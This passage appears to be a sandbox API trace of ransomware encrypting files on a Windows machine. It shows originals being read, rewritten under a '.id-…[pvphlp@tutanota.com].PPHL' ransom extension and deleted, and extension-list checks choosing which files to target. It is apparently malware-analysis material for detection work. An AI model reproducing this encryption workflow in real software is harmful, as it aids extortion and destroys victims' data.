dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0074.476] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2a3ff1c | out: lpFileSize=0x2a3ff1c*=1800) returned 1 [0074.476] CloseHandle (hObject=0x1f8) returned 1 [0074.476] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\wordmui.xml")) returned 0x20 [0074.476] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\wordmui.xml.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0074.476] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\wordmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0074.476] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0074.477] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0074.477] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\wordmui.xml.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0074.718] GetLastError () returned 0x0 [0074.718] ReadFile (in: hFile=0x1f8, lpBuffer=0x3080020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3080020*, lpNumberOfBytesRead=0x2a3fed4*=0x708, lpOverlapped=0x0) returned 1 [0074.719] WriteFile (in: hFile=0x1ac, lpBuffer=0x3080020*, nNumberOfBytesToWrite=0x710, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3080020*, lpNumberOfBytesWritten=0x2a3fc9c*=0x710, lpOverlapped=0x0) returned 1 [0074.720] ReadFile (in: hFile=0x1f8, lpBuffer=0x3080020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3080020*, lpNumberOfBytesRead=0x2a3fed4*=0x0, lpOverlapped=0x0) returned 1 [0074.721] WriteFile (in: hFile=0x1ac, lpBuffer=0x3080020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3080020*, lpNumberOfBytesWritten=0x2a3fc9c*=0xea, lpOverlapped=0x0) returned 1 [0074.721] SetEndOfFile (hFile=0x1ac) returned 1 [0074.722] CloseHandle (hObject=0x1ac) returned 1 [0074.722] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0074.722] SetEndOfFile (hFile=0x1f8) returned 1 [0074.723] CloseHandle (hObject=0x1f8) returned 1 [0074.723] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x20) returned 1 [0074.723] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\wordmui.xml")) returned 1 [0074.724] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0074.724] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0074.724] lstrlenW (lpString=".doc") returned 4 [0074.724] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0074.724] lstrlenW (lpString=".docx") returned 5 [0074.724] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0074.724] lstrlenW (lpString=".pdf") returned 4 [0074.724] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0074.724] lstrlenW (lpString=".xls") returned 4 [0074.724] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0074.724] lstrlenW (lpString=".xlsx") returned 5 [0074.724] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0074.724] lstrlenW (lpString=".ppt") returned 4 [0074.724] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0074.724] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0074.724] lstrlenW (lpString=".zip") returned 4 [0074.724] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0074.724] lstrlenW (lpString=".rar") returned 4 [0074.724] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0074.724] lstrlenW (lpString=".bz2") returned 4 [0074.724] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0074.724] lstrlenW (lpString=".7z") returned 3 [0074.724] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0074.724] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0074.724] lstrlenW (lpString=".dbf") returned 4 [0074.724] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0074.724] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0074.724] lstrlenW (lpString=".1cd") returned 4 [0074.724] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0074.724] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0074.724] lstrlenW (lpString=".jpg") returned 4 [0074.725] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0074.725] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0074.725] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0074.725] lstrlenW (lpString=".doc") returned 4 [0074.725] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0074.725] lstrlenW (lpString=".docx") returned 5 [0074.725] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0074.725] lstrlenW (lpString=".pdf") returned 4 [0074.725] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0074.725] lstrlenW (lpString=".xls") returned 4 [0074.725] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0074.725] lstrlenW (lpString=".xlsx") returned 5 [0074.725] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0074.725] lstrlenW (lpString=".ppt") returned 4 [0074.725] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0074.725] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0074.725] lstrlenW (lpString=".zip") returned 4 [0074.725] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0074.725] lstrlenW (lpString=".rar") returned 4 [0074.725] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0074.725] lstrlenW (lpString=".bz2") returned 4 [0074.725] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0074.725] lstrlenW (lpString=".7z") returned 3 [0074.725] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0074.725] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0074.725] lstrlenW (lpString=".dbf") returned 4 [0074.725] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0074.725] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0074.725] lstrlenW (lpString=".1cd") returned 4 [0074.725] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0074.725] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0074.725] lstrlenW (lpString=".jpg") returned 4 [0074.725] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0074.726] lstrcmpiW (lpString1=".emf", lpString2=".PPHL") returned -1 [0074.726] lstrlenW (lpString="Graph.emf") returned 9 [0074.726] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\graph.emf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0074.887] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2a3ff1c | out: lpFileSize=0x2a3ff1c*=116724) returned 1 [0074.887] CloseHandle (hObject=0x1f0) returned 1 [0074.887] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\graph.emf")) returned 0x20 [0074.887] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\graph.emf.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0074.887] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\graph.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0074.887] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67 [0074.887] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67 [0074.887] lstrlenW (lpString=".doc") returned 4 [0074.888] lstrcmpiW (lpString1=".doc", lpString2=".emf") returned -1 [0074.888] lstrlenW (lpString=".docx") returned 5 [0074.888] lstrcmpiW (lpString1=".docx", lpString2="h.emf") returned -1 [0074.888] lstrlenW (lpString=".pdf") returned 4 [0074.888] lstrcmpiW (lpString1=".pdf", lpString2=".emf") returned 1 [0074.888] lstrlenW (lpString=".xls") returned 4 [0074.888] lstrcmpiW (lpString1=".xls", lpString2=".emf") returned 1 [0074.888] lstrlenW (lpString=".xlsx") returned 5 [0074.888] lstrcmpiW (lpString1=".xlsx", lpString2="h.emf") returned -1 [0074.888] lstrlenW (lpString=".ppt") returned 4 [0074.888] lstrcmpiW (lpString1=".ppt", lpString2=".emf") returned 1 [0074.888] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67 [0074.888] lstrlenW (lpString=".zip") returned 4 [0074.888] lstrcmpiW (lpString1=".zip", lpString2=".emf") returned 1 [0074.888] lstrlenW (lpString=".rar") returned 4 [0074.888] lstrcmpiW (lpString1=".rar", lpString2=".emf") returned 1 [0074.888] lstrlenW (lpString=".bz2") returned 4 [0074.888] lstrcmpiW (lpString1=".bz2", lpString2=".emf") returned -1 [0074.888] lstrlenW (lpString=".7z") returned 3 [0074.888] lstrcmpiW (lpString1=".7z", lpString2="emf") returned -1 [0074.888] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67 [0074.888] lstrlenW (lpString=".dbf") returned 4 [0074.888] lstrcmpiW (lpString1=".dbf", lpString2=".emf") returned -1 [0074.888] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67 [0074.888] lstrlenW (lpString=".1cd") returned 4 [0074.888] lstrcmpiW (lpString1=".1cd", lpString2=".emf") returned -1 [0074.888] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67 [0074.888] lstrlenW (lpString=".jpg") returned 4 [0074.888] lstrcmpiW (lpString1=".jpg", lpString2=".emf") returned 1 [0074.888] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67 [0074.888] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67 [0074.888] lstrlenW (lpString=".doc") returned 4 [0074.888] lstrcmpiW (lpString1=".doc", lpString2=".emf") returned -1 [0074.888] lstrlenW (lpString=".docx") returned 5 [0074.889] lstrcmpiW (lpString1=".docx", lpString2="h.emf") returned -1 [0074.889] lstrlenW (lpString=".pdf") returned 4 [0074.889] lstrcmpiW (lpString1=".pdf", lpString2=".emf") returned 1 [0074.889] lstrlenW (lpString=".xls") returned 4 [0074.889] lstrcmpiW (lpString1=".xls", lpString2=".emf") returned 1 [0074.889] lstrlenW (lpString=".xlsx") returned 5 [0074.889] lstrcmpiW (lpString1=".xlsx", lpString2="h.emf") returned -1 [0074.889] lstrlenW (lpString=".ppt") returned 4 [0074.889] lstrcmpiW (lpString1=".ppt", lpString2=".emf") returned 1 [0074.889] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67 [0074.889] lstrlenW (lpString=".zip") returned 4 [0074.889] lstrcmpiW (lpString1=".zip", lpString2=".emf") returned 1 [0074.889] lstrlenW (lpString=".rar") returned 4 [0074.889] lstrcmpiW (lpString1=".rar", lpString2=".emf") returned 1 [0074.889] lstrlenW (lpString=".bz2") returned 4 [0074.889] lstrcmpiW (lpString1=".bz2", lpString2=".emf") returned -1 [0074.889] lstrlenW (lpString=".7z") returned 3 [0074.889] lstrcmpiW (lpString1=".7z", lpString2="emf") returned -1 [0074.889] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67 [0074.889] lstrlenW (lpString=".dbf") returned 4 [0074.889] lstrcmpiW (lpString1=".dbf", lpString2=".emf") returned -1 [0074.889] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67 [0074.889] lstrlenW (lpString=".1cd") returned 4 [0074.889] lstrcmpiW (lpString1=".1cd", lpString2=".emf") returned -1 [0074.889] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67 [0074.889] lstrlenW (lpString=".jpg") returned 4 [0074.889] lstrcmpiW (lpString1=".jpg", lpString2=".emf") returned 1 [0074.889] lstrcmpiW (lpString1=".htm", lpString2=".PPHL") returned -1 [0074.889] lstrlenW (lpString="Green Bubbles.htm") returned 17 [0074.889] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\green bubbles.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0074.900] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2a3ff1c | out: lpFileSize=0x2a3ff1c*=237) returned 1 [0074.901] CloseHandle (hObject=0x1f0) returned 1 [0074.901] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\green bubbles.htm")) returned 0x20 [0074.901] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\green bubbles.htm.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0074.901] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\green bubbles.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0074.901] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm") returned 75 [0074.901] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm") returned 75 [0074.901] lstrlenW (lpString=".doc") returned 4 [0074.901] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0074.901] lstrlenW (lpString=".docx") returned 5 [0074.901] lstrcmpiW (lpString1=".docx", lpString2="s.htm") returned -1 [0074.901] lstrlenW (lpString=".pdf") returned 4 [0074.901] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0074.901] lstrlenW (lpString=".xls") returned 4 [0074.902] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0074.902] lstrlenW (lpString=".xlsx") returned 5 [0074.902] lstrcmpiW (lpString1=".xlsx", lpString2="s.htm") returned -1 [0074.902] lstrlenW (lpString=".ppt") returned 4 [0074.902] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0074.902] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm") returned 75 [0074.902] lstrlenW (lpString=".zip") returned 4 [0074.902] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0074.902] lstrlenW (lpString=".rar") returned 4 [0074.902] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0074.902] lstrlenW (lpString=".bz2") returned 4 [0074.902] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0074.902] lstrlenW (lpString=".7z") returned 3 [0074.902] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0074.902] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm") returned 75 [0074.902] lstrlenW (lpString=".dbf") returned 4 [0074.902] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0074.902] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm") returned 75 [0074.902] lstrlenW (lpString=".1cd") returned 4 [0074.902] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0074.902] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm") returned 75 [0074.902] lstrlenW (lpString=".jpg") returned 4 [0074.902] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0074.902] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm") returned 75 [0074.902] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm") returned 75 [0074.902] lstrlenW (lpString=".doc") returned 4 [0074.902] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0074.902] lstrlenW (lpString=".docx") returned 5 [0074.902] lstrcmpiW (lpString1=".docx", lpString2="s.htm") returned -1 [0074.902] lstrlenW (lpString=".pdf") returned 4 [0074.902] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0074.902] lstrlenW (lpString=".xls") returned 4 [0074.902] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0074.902] lstrlenW (lpString=".xlsx") returned 5 [0074.903] lstrcmpiW (lpString1=".xlsx", lpString2="s.htm") returned -1 [0074.903] lstrlenW (lpString=".ppt") returned 4 [0074.903] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0074.903] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm") returned 75 [0074.903] lstrlenW (lpString=".zip") returned 4 [0074.903] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0074.903] lstrlenW (lpString=".rar") returned 4 [0074.903] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0074.903] lstrlenW (lpString=".bz2") returned 4 [0074.903] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0074.903] lstrlenW (lpString=".7z") returned 3 [0074.903] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0074.903] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm") returned 75 [0074.903] lstrlenW (lpString=".dbf") returned 4 [0074.903] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0074.903] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm") returned 75 [0074.903] lstrlenW (lpString=".1cd") returned 4 [0074.903] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0074.903] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm") returned 75 [0074.903] lstrlenW (lpString=".jpg") returned 4 [0074.903] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0074.903] lstrcmpiW (lpString1=".jpg", lpString2=".PPHL") returned -1 [0074.903] lstrlenW (lpString="GreenBubbles.jpg") returned 16 [0074.903] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0074.904] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2a3ff1c | out: lpFileSize=0x2a3ff1c*=6406) returned 1 [0074.904] CloseHandle (hObject=0x1f0) returned 1 [0074.904] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg")) returned 0x20 [0074.904] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0074.904] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0074.904] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg") returned 74 [0074.904] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg") returned 74 [0074.904] lstrlenW (lpString=".doc") returned 4 [0074.904] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0074.904] lstrlenW (lpString=".docx") returned 5 [0074.904] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1 [0074.904] lstrlenW (lpString=".pdf") returned 4 [0074.904] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0074.904] lstrlenW (lpString=".xls") returned 4 [0074.904] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0074.904] lstrlenW (lpString=".xlsx") returned 5 [0074.904] lstrcmpiW (lpString1=".xlsx", lpString2="s.jpg") returned -1 [0074.904] lstrlenW (lpString=".ppt") returned 4 [0074.904] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0074.904] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg") returned 74 [0074.904] lstrlenW (lpString=".zip") returned 4 [0074.904] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0074.904] lstrlenW (lpString=".rar") returned 4 [0074.904] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0074.905] lstrlenW (lpString=".bz2") returned 4 [0074.905] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0074.905] lstrlenW (lpString=".7z") returned 3 [0074.905] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0074.905] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg") returned 74 [0074.905] lstrlenW (lpString=".dbf") returned 4 [0074.905] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0074.905] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg") returned 74 [0074.905] lstrlenW (lpString=".1cd") returned 4 [0074.905] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0074.905] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg") returned 74 [0074.905] lstrlenW (lpString=".jpg") returned 4 [0074.905] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0074.905] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg") returned 74 [0074.905] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg") returned 74 [0074.905] lstrlenW (lpString=".doc") returned 4 [0074.905] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0074.905] lstrlenW (lpString=".docx") returned 5 [0074.905] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1 [0074.905] lstrlenW (lpString=".pdf") returned 4 [0074.905] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0074.905] lstrlenW (lpString=".xls") returned 4 [0074.905] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0074.905] lstrlenW (lpString=".xlsx") returned 5 [0074.905] lstrcmpiW (lpString1=".xlsx", lpString2="s.jpg") returned -1 [0074.905] lstrlenW (lpString=".ppt") returned 4 [0074.905] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0074.905] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg") returned 74 [0074.905] lstrlenW (lpString=".zip") returned 4 [0074.905] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0074.905] lstrlenW (lpString=".rar") returned 4 [0074.905] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0074.906] lstrlenW (lpString=".bz2") returned 4 [0074.906] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0074.906] lstrlenW (lpString=".7z") returned 3 [0074.906] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0074.906] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg") returned 74 [0074.906] lstrlenW (lpString=".dbf") returned 4 [0074.906] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0074.906] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg") returned 74 [0074.906] lstrlenW (lpString=".1cd") returned 4 [0074.906] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0074.906] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg") returned 74 [0074.906] lstrlenW (lpString=".jpg") returned 4 [0074.906] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0074.906] 